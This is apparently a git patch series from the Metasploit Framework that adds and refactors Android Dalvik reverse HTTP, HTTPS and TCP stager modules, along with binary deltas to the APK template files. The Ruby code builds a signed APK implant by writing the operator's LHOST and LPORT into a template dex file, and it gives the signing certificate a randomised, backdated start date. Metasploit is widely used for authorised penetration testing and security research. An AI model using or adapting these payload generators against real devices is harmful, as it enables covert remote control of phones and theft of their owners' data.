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 diff --git a/data/android/metstage.jar b/data/android/metstage.jar index 095c7b9a64a328b35850cdffccaaae6fcd8dca33..1271994fbab34694c10605904afaff08038b88f0 100644 GIT binary patch delta 45 ucmdnZx0{bQz?+#xgn@&DgF$0j) From dc8992924fc192bdc02f8295a9bd5bebcc566856 Mon Sep 17 00:00:00 2001 From: AnwarMohamed Date: Wed, 26 Feb 2014 02:18:42 +0200 Subject: [PATCH 07/58] android reverse_http/s --- .../payloads/stagers/android/reverse_http.rb | 88 +++++++++++++++++ .../payloads/stagers/android/reverse_https.rb | 94 +++++++++++++++++++ .../payloads/stagers/android/reverse_tcp.rb | 6 ++ 3 files changed, 188 insertions(+) create mode 100644 modules/payloads/stagers/android/reverse_http.rb create mode 100644 modules/payloads/stagers/android/reverse_https.rb diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb new file mode 100644 index 0000000000..182acd498d --- /dev/null +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -0,0 +1,88 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Dalvik + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Dalvik Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'anwarelmakrahy', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) + end + + def string_sub(data, placeholder, input) + data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) + end + + def generate_jar(opts={}) + jar = Rex::Zip::Jar.new + + classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) + + string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + datastore['LHOST'].to_s) if datastore['LHOST'] + string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + jar.add_file("classes.dex", fix_dex_header(classes)) + + files = [ + [ "AndroidManifest.xml" ], + [ "res", "drawable-mdpi", "icon.png" ], + [ "res", "layout", "main.xml" ], + [ "resources.arsc" ] + ] + + jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.build_manifest + + x509_name = OpenSSL::X509::Name.parse( + "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" + ) + key = OpenSSL::PKey::RSA.new(1024) + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = 1 + cert.subject = x509_name + cert.issuer = x509_name + cert.public_key = key.public_key + + # Some time within the last 3 years + cert.not_before = Time.now - rand(3600*24*365*3) + + # From http://developer.android.com/tools/publishing/app-signing.html + # """ + # A validity period of more than 25 years is recommended. + # + # If you plan to publish your application(s) on Google Play, note + # that a validity period ending after 22 October 2033 is a + # requirement. You can not upload an application if it is signed + # with a key whose validity expires before that date. + # """ + cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + + jar.sign(key, cert, [cert]) + + jar + end + +end \ No newline at end of file diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb new file mode 100644 index 0000000000..cab35f9380 --- /dev/null +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -0,0 +1,94 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +# + +require 'msf/core' +require 'msf/core/handler/reverse_https' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Dalvik + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Dalvik Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => 'anwarelmakrahy', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => {'Payload' => ""} + )) + + @class_files = [ + [ "metasploit", "PayloadTrustManager.class" ], + ] + + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) + + end + + def string_sub(data, placeholder, input) + data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) + end + + def generate_jar(opts={}) + jar = Rex::Zip::Jar.new + + classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) + + string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + datastore['LHOST'].to_s) if datastore['LHOST'] + string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + jar.add_file("classes.dex", fix_dex_header(classes)) + + files = [ + [ "AndroidManifest.xml" ], + [ "res", "drawable-mdpi", "icon.png" ], + [ "res", "layout", "main.xml" ], + [ "resources.arsc" ] + ] + + jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.build_manifest + + x509_name = OpenSSL::X509::Name.parse( + "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" + ) + key = OpenSSL::PKey::RSA.new(1024) + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = 1 + cert.subject = x509_name + cert.issuer = x509_name + cert.public_key = key.public_key + + # Some time within the last 3 years + cert.not_before = Time.now - rand(3600*24*365*3) + + # From http://developer.android.com/tools/publishing/app-signing.html + # """ + # A validity period of more than 25 years is recommended. + # + # If you plan to publish your application(s) on Google Play, note + # that a validity period ending after 22 October 2033 is a + # requirement. You can not upload an application if it is signed + # with a key whose validity expires before that date. + # """ + cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + + jar.sign(key, cert, [cert]) + + jar + end + +end diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index d41922f40e..005380bad3 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -24,6 +24,11 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} )) + + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) end def string_sub(data, placeholder, input) @@ -37,6 +42,7 @@ module Metasploit3 string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST'] string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] jar.add_file("classes.dex", fix_dex_header(classes)) files = [ From 99cc94e6fc878f98e4932037aedc48842717d3ec Mon Sep 17 00:00:00 2001 From: AnwarMohamed Date: Mon, 3 Mar 2014 06:54:56 +0200 Subject: [PATCH 08/58] moving string_sub() to payload/dalvik.rb --- lib/msf/core/payload/dalvik.rb | 4 ++++ modules/payloads/stagers/android/reverse_http.rb | 7 +++---- modules/payloads/stagers/android/reverse_https.rb | 7 +++---- modules/payloads/stagers/android/reverse_tcp.rb | 4 ---- 4 files changed, 10 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index aeae5aa361..6c78e2802c 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -31,5 +31,9 @@ module Msf::Payload::Dalvik [str.length].pack("N") + str end + def string_sub(data, placeholder="", input="") + data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) + end + end diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index 182acd498d..b9de3d5242 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -31,11 +31,10 @@ module Metasploit3 ], self.class) end - def string_sub(data, placeholder, input) - data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) - end - def generate_jar(opts={}) + u = datastore['LHOST'] ? datastore['LHOST'] : String.new + raise ArgumentError, "LHOST can be 32 bytes long at the most" if u.length > 32 + jar = Rex::Zip::Jar.new classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index cab35f9380..c2f81cf6bc 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -37,11 +37,10 @@ module Metasploit3 end - def string_sub(data, placeholder, input) - data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) - end - def generate_jar(opts={}) + u = datastore['LHOST'] ? datastore['LHOST'] : String.new + raise ArgumentError, "LHOST can be 32 bytes long at the most" if u.length > 32 + jar = Rex::Zip::Jar.new classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 005380bad3..53cb086783 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -31,10 +31,6 @@ module Metasploit3 ], self.class) end - def string_sub(data, placeholder, input) - data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) - end - def generate_jar(opts={}) jar = Rex::Zip::Jar.new From b45524ecddbcf37bb7e497bc18ee06b5452985a6 Mon Sep 17 00:00:00 2001 From: AnwarMohamed Date: Tue, 4 Mar 2014 05:54:31 +0200 Subject: [PATCH 09/58] generate cert @ payload/dalvik.rb --- lib/msf/core/payload/dalvik.rb | 27 +++++++++++++++++ .../payloads/stagers/android/reverse_http.rb | 26 +---------------- .../payloads/stagers/android/reverse_https.rb | 29 +------------------ .../payloads/stagers/android/reverse_tcp.rb | 27 +---------------- 4 files changed, 30 insertions(+), 79 deletions(-) diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index 6c78e2802c..66c0345f2b 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -35,5 +35,32 @@ module Msf::Payload::Dalvik data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) end + def generate_cert + x509_name = OpenSSL::X509::Name.parse( + "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" + ) + key = OpenSSL::PKey::RSA.new(1024) + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = 1 + cert.subject = x509_name + cert.issuer = x509_name + cert.public_key = key.public_key + + # Some time within the last 3 years + cert.not_before = Time.now - rand(3600*24*365*3) + + # From http://developer.android.com/tools/publishing/app-signing.html + # """ + # A validity period of more than 25 years is recommended. + # + # If you plan to publish your application(s) on Google Play, note + # that a validity period ending after 22 October 2033 is a + # requirement. You can not upload an application if it is signed + # with a key whose validity expires before that date. + # """ + cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + return cert, key + end end diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index b9de3d5242..edfc65f548 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -54,31 +54,7 @@ module Metasploit3 jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) jar.build_manifest - x509_name = OpenSSL::X509::Name.parse( - "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" - ) - key = OpenSSL::PKey::RSA.new(1024) - cert = OpenSSL::X509::Certificate.new - cert.version = 2 - cert.serial = 1 - cert.subject = x509_name - cert.issuer = x509_name - cert.public_key = key.public_key - - # Some time within the last 3 years - cert.not_before = Time.now - rand(3600*24*365*3) - - # From http://developer.android.com/tools/publishing/app-signing.html - # """ - # A validity period of more than 25 years is recommended. - # - # If you plan to publish your application(s) on Google Play, note - # that a validity period ending after 22 October 2033 is a - # requirement. You can not upload an application if it is signed - # with a key whose validity expires before that date. - # """ - cert.not_after = cert.not_before + 3600*24*365*20 # 20 years - + cert, key = generate_cert jar.sign(key, cert, [cert]) jar diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index c2f81cf6bc..6a50fa544b 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -25,9 +25,6 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseHttps, 'Stager' => {'Payload' => ""} )) - - @class_files = [ - [ "metasploit", "PayloadTrustManager.class" ], ] register_options( @@ -60,31 +57,7 @@ module Metasploit3 jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) jar.build_manifest - x509_name = OpenSSL::X509::Name.parse( - "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" - ) - key = OpenSSL::PKey::RSA.new(1024) - cert = OpenSSL::X509::Certificate.new - cert.version = 2 - cert.serial = 1 - cert.subject = x509_name - cert.issuer = x509_name - cert.public_key = key.public_key - - # Some time within the last 3 years - cert.not_before = Time.now - rand(3600*24*365*3) - - # From http://developer.android.com/tools/publishing/app-signing.html - # """ - # A validity period of more than 25 years is recommended. - # - # If you plan to publish your application(s) on Google Play, note - # that a validity period ending after 22 October 2033 is a - # requirement. You can not upload an application if it is signed - # with a key whose validity expires before that date. - # """ - cert.not_after = cert.not_before + 3600*24*365*20 # 20 years - + cert, key = generate_cert jar.sign(key, cert, [cert]) jar diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 53cb086783..a6adcc1f77 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -51,32 +51,7 @@ module Metasploit3 jar.add_files(files, File.join(Msf::Config.data_directory, "android", "apk")) jar.build_manifest - x509_name = OpenSSL::X509::Name.parse( - "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" - ) - key = OpenSSL::PKey::RSA.new(1024) - cert = OpenSSL::X509::Certificate.new - cert.version = 2 - cert.serial = 1 - cert.subject = x509_name - cert.issuer = x509_name - cert.public_key = key.public_key - - # Some time within the last 3 years - cert.not_before = Time.now - rand(3600*24*365*3) - - # From http://developer.android.com/tools/publishing/app-signing.html - # """ - # A validity period of more than 25 years is recommended. - # - # If you plan to publish your application(s) on Google Play, note - # that a validity period ending after 22 October 2033 is a - # requirement. You can not upload an application if it is signed - # with a key whose validity expires before that date. - # """ - # The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC - cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 )) - + cert, key = generate_cert jar.sign(key, cert, [cert]) jar From ad8b0ef3d1a80c0437f16eb8194546f5da93cf2d Mon Sep 17 00:00:00 2001 From: AnwarMohamed Date: Thu, 6 Mar 2014 20:33:08 +0200 Subject: [PATCH 10/58] using http(s)://LHOST:LPORT --- modules/payloads/stagers/android/reverse_http.rb | 11 +++++------ modules/payloads/stagers/android/reverse_https.rb | 10 ++++------ 2 files changed, 9 insertions(+), 12 deletions(-) diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index edfc65f548..cafd8af906 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -32,15 +32,14 @@ module Metasploit3 end def generate_jar(opts={}) - u = datastore['LHOST'] ? datastore['LHOST'] : String.new - raise ArgumentError, "LHOST can be 32 bytes long at the most" if u.length > 32 - + host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new + port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s + raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + jar = Rex::Zip::Jar.new classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) - - string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + datastore['LHOST'].to_s) if datastore['LHOST'] - string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port) string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] jar.add_file("classes.dex", fix_dex_header(classes)) diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index 6a50fa544b..81a5b2a7a1 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -25,7 +25,6 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseHttps, 'Stager' => {'Payload' => ""} )) - ] register_options( [ @@ -35,15 +34,14 @@ module Metasploit3 end def generate_jar(opts={}) - u = datastore['LHOST'] ? datastore['LHOST'] : String.new - raise ArgumentError, "LHOST can be 32 bytes long at the most" if u.length > 32 + host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new + port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s + raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 jar = Rex::Zip::Jar.new classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) - - string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + datastore['LHOST'].to_s) if datastore['LHOST'] - string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port) string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] jar.add_file("classes.dex", fix_dex_header(classes)) From 4f31eba7f47036503f9254b1b58d83f6575a1bac Mon Sep 17 00:00:00 2001 From: Tim Date: Wed, 19 Feb 2014 15:06:11 +0000 Subject: [PATCH 11/58] android payload golf --- data/android/apk/res/drawable-mdpi/icon.png | Bin 3079 -> 0 bytes data/android/apk/res/layout/main.xml | Bin 700 -> 0 bytes modules/payloads/stagers/android/reverse_tcp.rb | 2 -- 3 files changed, 2 deletions(-) delete mode 100644 data/android/apk/res/drawable-mdpi/icon.png delete mode 100644 data/android/apk/res/layout/main.xml diff --git a/data/android/apk/res/drawable-mdpi/icon.png b/data/android/apk/res/drawable-mdpi/icon.png deleted file mode 100644 index c2e4f5634b903742c71baa0e2e080aa1ee5e2190..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3079 zcmV+i4EXbjP)}m8?_#il_>D?PgJ_bfuRs*qN>z{=DQYW4O(RiNO_c{~qO=XF zDriVjsUdEY&=T50fs`aPC<#SHg@8kVVAkdhw!t;nyNhk?wb%CE=gc|h*FR?N-Mzba zy$(T9k90J5=FZId{$AhT?{`L2mH*Ep0vNdB8Zb7$A_j~g7!Uy?Krw~lDEWP=#kJzO zcAZc=1{#0>A%KZNAkRL#72yNE@od@_93@P4ai{BaG z^OfHM4W7j)1LMFZU?Z>|SSuo{5Qc#PLD(xD@3*7?>3ln0nF^EAr$_oLEVusHJ4W1BE#2%6m z_9$T|uoLh0qJA0;+42CDtq8vXybt7E7;`Zq24le(L`>H|5y{VuNzi3@QdGv?j7Js>_g;P?a2zDyjhq z3IxO`S>^~DAb^I#1%qNyL<|y_&m}5fM#!0?0BBP&7Bv`+@IA`JZ2 zUxKlu9@Y$3_@`@rm(A-|=kXHIxv?(E@;giBRJS1;7vj>H{Ho z#CvM>2CGMgxZ#hkWYc-0q?yZ&q{>hw;j4E)#P=T9NvWEk#*poONalk?EMg)=6&uIA zbMtv@K5ukMXy5kn-{ezw?BH7y2N*AviQ@=k3`PWuL5(A%6@r5I9`8NsJ+pIl)|@lO zO&|Mhu6p+tTAAyTi>k6}xXL}-pU!!|R)GcWRP!8 z9Hd$WK_!$U;cy3SUp_f-*-$AmtvBVEhKkjS%MFcWu6mrEjF$l=PQ5s ztNhxQb2(9Ob<@t$T-2d4JD+w7fYPB7(cDxkjgmE7ch$v=4<+3CN$woAu?0&kHL>KVCD-7YU)3F-xMCx#t0nH-`8uV@ zU?n0=O3XGg-hSa2*Z$5s_=UBD%r@F*k<2?upr47YHHghQ&qg_IoaOlNyU%B2Am)yp 